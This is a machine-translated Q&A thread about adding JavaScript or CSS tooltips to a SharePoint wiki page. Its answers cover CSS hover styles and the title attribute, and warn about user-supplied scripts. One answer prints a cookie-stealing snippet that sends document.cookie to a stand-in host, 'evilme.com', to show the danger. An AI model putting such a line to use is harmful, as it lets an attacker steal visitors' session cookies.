2008-09-17 9 views
5

मैं विकी व्यवस्थापक के रूप में, एक शेयरपॉइंट विकी पेज में स्क्रिप्टिंग (जावास्क्रिप्ट) दर्ज कैसे कर सकता हूं?

मैं एक शीर्षक दर्ज करना चाहता हूं और उस पर क्लिक करते समय, इसे एक छोटा सा स्पष्टीकरण दिखाता हूं। मैंने आमतौर पर जावास्क्रिप्ट के साथ ऐसा किया है, कोई अन्य विचार?एक विकी पेज में जावास्क्रिप्ट कैसे दर्ज करें?

+1

क्या आप विकी साइट व्यवस्थापक हैं या अन्यथा न केवल उपयोगकर्ता हैं। – sblundy

+0

यह सब कुछ बदलता है। कृपया अपना प्रश्न अपडेट करें और अपना विकी मंच शामिल करें। – sblundy

+0

आप इसे एक 'html' – Nate

उत्तर

4

मान लीजिए कि आप विकी के व्यवस्थापक हैं और क्लिक पर बजाए माउसओवर पर इसे प्रदर्शित करने के इच्छुक हैं, आपको जावास्क्रिप्ट की बिल्कुल आवश्यकता नहीं है - आप सीधे सीएसएस का उपयोग कर सकते हैं। यहाँ शैलियों और मार्कअप का एक उदाहरण है:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

कुछ अधिक शामिल शैलियों के साथ, अपने टूलटिप बॉक्स के रूप में अच्छा चाहें देख सकते हैं।

0

यह एक सुरक्षा जोखिम की तरह लगता है। ऐसा लगता है कि विकी व्यवस्थापक स्क्रिप्ट स्थापित करने के लिए संभव है, wikipedia's user scripts देखें।

+0

भी टैग कर सकते हैं मैं विकी व्यवस्थापक हूं – Aidenn

0

आपको किसी भी सार्वजनिक विकी के लिए जावास्क्रिप्ट कोड जोड़ने में सक्षम नहीं होना चाहिए। यदि आप इसे स्वयं होस्ट कर रहे हैं, तो आपको एक विशिष्ट विकी सिस्टम के लिए पूछने की आवश्यकता है ताकि कोई भी सेटिंग को संशोधित करने में आपकी सहायता कर सके - यदि उस सिस्टम के लिए संभव हो।

0

यदि आप इस साइट पर किसी वेब पेज के हिस्से के रूप में जावास्क्रिप्ट का उपयोग करने के बारे में बात कर रहे हैं, तो आप नहीं कर सकते। या उस मामले के लिए कोई अन्य सार्वजनिक विकी - यह एक सुरक्षा जोखिम है।

यदि आप कोड नमूना पोस्ट करने के बारे में बात कर रहे हैं, तो टेक्स्ट बॉक्स के ऊपर '101010' बटन पर क्लिक करें।

0

यह निश्चित रूप से विकी इंजन पर निर्भर करेगा जिस पर आप बात कर रहे हैं। सबसे अधिक संभावना है, जैसा कि एसब्लूंडी कहते हैं, यह विकी पेज पर जावास्क्रिप्ट के मुफ्त उपयोग की अनुमति देने के लिए एक सुरक्षा जोखिम होगा।

1

यह आपके द्वारा उपयोग किए जा रहे विशिष्ट विकी सॉफ़्टवेयर पर पूरी तरह निर्भर करता है। जिस तरह से मैंने काम देखा है, वह कहीं और एक जेएस फ़ाइल होस्ट करना है और फिर एक src विशेषता के साथ एक स्क्रिप्ट टैग के साथ शामिल है।

यदि वे इसे अनुमति नहीं देते हैं, तो शायद वे एक IFRAME को अनुमति दें जिसे आप उस पृष्ठ पर सेट कर सकते हैं जिसमें स्क्रिप्ट शामिल है। दूसरी तकनीक का उपयोग करके, आपको होस्ट पेज के डीओएम तक पहुंचने की अनुमति नहीं दी जाएगी।

0

किसी भी टैग में title="text here" जोड़ें और इसे उस पर होवर करते समय एक टेक्स्ट दिखाना चाहिए।
जब आप alt="text here" विशेषता का उपयोग करते हैं तो इंटरनेट एक्सप्लोरर टेक्स्ट दिखाता है, हालांकि यह मानकों के अनुसार नहीं है।

मैंने अभी परीक्षण किया है, और आप विकीमीडिया (एक विकिपीडिया उपयोग) के आधार पर किसी भी सिस्टम में <h2 title="some explanation here">headline</h2> जोड़ सकते हैं।

9

यदि विकी लेखक बुद्धिमान हैं, तो ऐसा करने का शायद कोई तरीका नहीं है।

उपयोगकर्ता द्वारा योगदान की गई जावास्क्रिप्ट के साथ समस्या यह है कि यह सभी प्रकार के बुरे कर्मियों के लिए दरवाजा खुलता है ताकि वे अचेतन से डेटा प्राप्त कर सकें।

मान लें चलो बुराई मुझे एक सार्वजनिक वेब साइट पर एक स्क्रिप्ट पोस्ट:

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

अब मैं पृष्ठ के लिए प्रत्येक आगंतुक के कुकी जानकारी, अपने सर्वर पर एक लॉग पर पोस्ट किए गए प्राप्त होगा। और यह सिर्फ हिमशैल की नोक है।

1

मुझे सीएसएस का जवाब पसंद है। जब आप जावास्क्रिप्ट के बजाय सीएसएस का उपयोग कर सकते हैं तो इसका परिणाम सरल मार्कअप में होता है।
कोडप्लेक्स पर शेयरपॉइंट एन्हांस्ड विकी संस्करण के लिए समुदाय किट में देखने के लिए एक और चीज है। आप स्रोत कोड डाउनलोड कर सकते हैं और अपनी विशेषताओं में जोड़ सकते हैं। या आप फोरम में एक नई सुविधा के रूप में सुझाव दे सकते हैं।

 संबंधित मुद्दे

  • कोई संबंधित समस्या नहीं^_^